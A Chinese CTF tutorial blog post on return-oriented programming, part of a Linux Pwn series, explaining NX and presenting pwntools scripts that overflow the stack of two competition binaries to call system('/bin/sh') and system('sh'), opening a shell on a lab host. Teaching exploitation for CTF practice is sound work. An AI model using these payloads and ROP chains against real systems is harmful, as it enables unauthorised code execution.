Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。

课程回顾>>

Linux Pwn入门教程第一章:环境配置

Linux Pwn入门教程第二章:栈溢出基础

Linux Pwn入门教程第三章:ShellCode

教程中的题目和脚本若有使用不妥之处,欢迎各位大佬批评指正。

基于前面几期的内容分享,小伙伴在后台给出了很多好评,同时也提出了文章篇幅缩短的建议,经调整后第四章内容分为上下两篇,今天分享的是Linux Pwn入门教程:ROP技术(上),阅读用时约10分钟。

背景

在上一篇教程的《shellcode的变形》一节中,我们提到过内存页的RWX三种属性。显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的ShellCode就无法执行。

关于这个特性的实验在此不做展开,大家可以尝试在调试时修改EIP和read( )/scanf( )/gets( )等函数的参数来观察操作无对应属性内存的结果。那么我们怎么看某个ELF文件中是否有RWX内存页呢?首先我们可以在静态分析和调试中使用IDA的快捷键Ctrl + S

或者同上一篇教程中的方法,使用Pwntools自带的checksec命令检查程序是否带有RWX段。当然,由于程序可能在运行中调用mprotect( ), mmap( )等函数动态修改或分配具有RWX属性的内存页,以上方法均可能存在误差。

既然攻击者们能想到在RWX段内存页中写入ShellCode并执行,防御者们也能想到,因此,一种名为NX位(No eXecute bit)的技术出现了。这是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行,即没有X属性。由于该保护方式的使用,之前直接向内存中写入ShellCode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)

顾名思义,ROP就是使用返回指令ret连接代码的一种技术(同理还可以使用jmp系列指令和call指令,有时候也会对应地成为JOP/COP)。一个程序中必然会存在函数,而有函数就会有ret指令。我们知道,ret指令的本质是pop eip,即把当前栈顶的内容作为内存地址进行跳转。

而ROP就是利用栈溢出在栈上布置一系列内存地址,每个内存地址对应一个gadget,即以ret/jmp/call等指令结尾的一小段汇编指令,通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区,肯定可以执行,而我们在栈上写入的只是内存地址,属于数据,所以这种方式可以有效绕过NX保护。

使用ROP调用got表中函数

首先我们来看一个x86下的简单ROP,我们将通过这里例子演示如何调用一个存在于got表中的函数并控制其参数。我们打开~/RedHat 2017-pwn1/pwn1。可以很明显看到main函数存在栈溢出:

变量v1的首地址在bp-28h处,即变量在栈上,而输入使用的__isoc99_scanf不限制长度,因此我们的过长输入将会造成栈溢出。

程序开启了NX保护,所以显然我们不可能用shellcode打开一个shell。根据之前文章的思路,我们很容易想到要调用system函数执行system(“/bin/sh”)。那么我们从哪里可以找到system和“/bin/sh”呢?

第一个问题,我们知道使用动态链接的程序导入库函数的话,我们可以在GOT表和PLT表中找到函数对应的项(稍后的文章中我们将详细解释)。跳转到.got.plt段,我们发现程序里居然导入了system函数。

解决了第一个问题之后我们就需要考虑第二个问题。通过对程序的搜索我们没有发现字符串“/bin/sh”,但是程序里有__isoc99_scanf,我们可以调用这个函数来读取“/bin/sh”字符串到进程内存中。下面我们来开始构建ROP链。

首先我们考虑一下“/bin/sh”字符串应该放哪。通过调试时按Ctrl+S快捷键查看程序的内存分段,我们看到0x0804a030开始有个可读可写的大于8字节的地址,且该地址不受ASLR影响,我们可以考虑把字符串读到这里。

接下来我们找到__isoc99_scanf的另一个参数“%s”,位于0x08048629

接着我们使用pwntools的功能获取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代码,将EIP劫持到某个函数的PLT表项中我们可以直接调用该函数。我们知道,对于x86的应用程序来说,其参数从右往左入栈。因此,现在我们就可以构建出一个ROP链。

`from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read( )
io.sendline(shellcode1)
io.sendline(“/bin/sh”)

通过调试我们可以看到,当EIP指向retn时,栈上的数据和我们的预想一样,栈顶是plt表中__isoc99_scanf的首地址,紧接着是两个参数。我们继续跟进执行,在libc中执行一会儿之后,我们收到了一个错误,这是为什么呢?

我们回顾一下之前的内容。我们知道call指令会将call指令的下一条指令地址压入栈中,当被call调用的函数运行结束后,ret指令就会取出被call指令压入栈中的地址传输给EIP。

但是在这里我们绕过call直接调用了__isoc99_scanf,没有像call指令一样向栈压入一个地址。此时函数认为返回地址是紧接着scanf_addr的format_s,而第一个参数就变成了binsh_addr`

call调用函数的情况

08048557 mov [esp+4], eax
0804855B mov dword ptr [esp], offset unk_8048629
08048562 call ___isoc99_scanf
08048567 lea eax, [esp+18h]

08048580 leave
08048581 retn ; pop eip
F7E22610 __isoc99_scanf:
F7E22610 push ebp
F7E22611 mov ebp, esp

从两种调用方式的比较上我们可以看到,由于少了call指令的压栈操作,如果我们在布置栈的时候不模拟出一个压入栈中的地址,被调用函数的取到的参数就是错位的。所以我们需要改良一下ROP链。根据上面的描述,我们应该在参数和保存的EIP中间放置一个执行完的返回地址。鉴于我们调用scanf读取字符串后还要调用system函数,我们让__isoc99_scanf执行完后再次返回到main函数开头,以便于再执行一次栈溢出。改良后的ROP链如下:

from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += main_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”)

我们再次进行调试,发现这回成功调用__isoc99_scanf把“/bin/sh”字符串读取到地址0x0804a030处:

此时程序再次从main函数开始执行。由于栈的状态发生了改变,我们需要重新计算溢出的字节数。然后再次利用ROP链调用system执行system(“/bin/sh”),这个ROP链可以模仿上一个写出来,完整的脚本也可以在对应文件夹中找到,此处不再赘述。

接下来让我们来看看64位下如何使用ROP调用got表中的函数。我们打开文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就可以发现溢出出现在Hello( )里

和上一个例子一样,由于程序开启了NX保护,我们必须找到system函数和“/bin/sh”字符串。程序在main函数中调用了自己定义的一个叫today的函数,执行了system(“/bin/date”),那么system函数就有了。至于“/bin/sh”字符串,虽然程序中没有,但是我们找到了“sh”字符串,利用这个字符串其实也可以开shell。

现在我们有了栈溢出点,有了system函数,有了字符串“sh”,可以尝试开shell了。首先我们要解决传参数的问题。和x86不同,在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。由于我们可以控制栈,根据ROP的思想,我们需要找到的就是pop rdi; ret,前半段用于赋值rdi,后半段用于跳到其他代码片段。

有很多工具可以帮我们找到ROP gadget,例如Pwntools自带的ROP类,ROPgadget、rp++、ropeme等。在这里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)

通过ROPgadget --binary 指定二进制文件,使用grep在输出的所有gadgets中寻找需要的片段。

这里有一个小trick。首先,我们看一下IDA中这个地址的内容。

我们可以发现并没有0x400883这个地址,0x400882是pop r15, 接下来就是0x400884的retn,那么这个pop rdi会不会是因为ROPgadget出bug了呢?别急,我们选择0x400882,按快捷键D转换成数据。

然后选择0x400883按C转换成代码

我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行,能被转成合法的opcode,跳转过去都是不会有问题的。

现在我们已经准备好了所有东西,可以开始构建ROP链了。这回我们直接调用call system指令,省去了手动往栈上补返回地址的环节,脚本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
call_system = 0x40075f #call system指令在内存中的位置
binsh = 0x4003ef #字符串"sh"在内存中的位置
pop_rdi = 0x400883 #pop rdi; retn
payload = ""
payload += "A"*88 #padding
payload += p64(pop_rdi)
payload += p64(binsh) #rdi指向字符串"sh"
payload += p64(call_system) #调用system执行system("sh")
io.sendline(payload)
io.interactive()

进行调试,发现开shell成功。

retn跳转到0x400883处的gadget:pop rdi; ret

pop rdi将“sh”字符串所在地址0x4003ef赋值给rdi

retn跳转到call system处。

以上是今天的内容,大家看懂了吗?后面我们将持续更新Linux Pwn入门教程的相关章节,希望大家及时关注。

CTF必备技能丨Linux Pwn入门教程——ROP技术(上)的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——ROP技术(下)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  2. CTF必备技能丨Linux Pwn入门教程——调整栈帧的技巧

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  3. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. CTF必备技能丨Linux Pwn入门教程——ShellCode

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...

  8. CTF必备技能丨Linux Pwn入门教程——栈溢出基础

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>>Linux ...

  9. CTF必备技能丨Linux Pwn入门教程——环境配置

    说在前面 这是一套Linux Pwn入门教程系列,作者依据Atum师傅在i春秋上的Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 问:为 ...

随机推荐

  1. Mysql 连接提示 Client does not support authentication protocol requested by server 客户端不支持服务器请求的身份验证协议;考虑升级MySQL客户端

    由于查阅了很多百度文档发现很多方法比较复杂,所以写个备忘: 首先,进入MySQL 8.0Command Line Client -Unicode,输入密码,登录进去. 然后,在命令行输入:ALTER ...

  2. 对象锁和class锁

    对象锁:就是这个锁属于这个类的对象实例,可以通过为类中的非静态方法加synchronized关键字 或者使用 synchronized(this) 代码块,为程序加对象锁. Class锁:就是这个锁属 ...

  3. 设计模式-单例模式(Singleton) (创建型模式)

    //以下代码来源: 设计模式精解-GoF 23种设计模式解析附C++实现源码 //Singleton.h #pragma once #include<iostream> class Sin ...

  4. 补充: canal

    1. 作用: 同步mysql:做拉链表:更新redis 某些情况无法从日志中获取信息,而又无法利用sqoop等ETL工具对数据实时的监控 2. canal的工作原理:                 ...

  5. Paper | D3: Deep Dual-Domain Based Fast Restoration of JPEG-Compressed Images

    目录 摘要 读后感 故事 深度双域法(D3) 发表于2016年CVPR. 摘要 既利用了CNN,又考虑了JPEG压缩的特性,解决JPEG图像去失真问题. 针对于压缩特性,作者考虑了JPEG压缩方案的先 ...

  6. prisma反向代理

    概要 为什么要做 prisma 的反向代理 反向代理示例(by golang) prisma 服务 gateway 服务 整体流程 认证 反向代理 权限 总结 概要 接触 prisma 有段时间了, ...

  7. python-5-str常用操作

    前言 本节将讲解的是字符串 str 常用的操作方法,与 for 循环. 一.srt 常用操作 1.首个字母大写: # 1.首个字母大写 s = 'xiao long' s1 = s.capitaliz ...

  8. POJ 3252 (数位DP)

    ###POJ 3252 题目链接 ### 题目大意:给你一段区间 [Start,Finish] ,在这段区间中有多少个数的二进制表示下,0 的个数 大于等于 1 的个数. 分析: 1.很显然是数位DP ...

  9. perf性能调优

    工具准备 ubuntu:sudo apt-get install perf 嵌入式平台:下载源码编译 注意:编译过程中会有Auto-detectiing system feature的依赖库打印,注意 ...

  10. 用Maven整合SSM框架

    前述 Maven 是专门用于构建和管理Java相关项目的工具,利用 Maven 的主要目的是统一维护 jar 包.关于 Maven 的安装在这篇里面就不说了. SSM(Spring+SpringMVC ...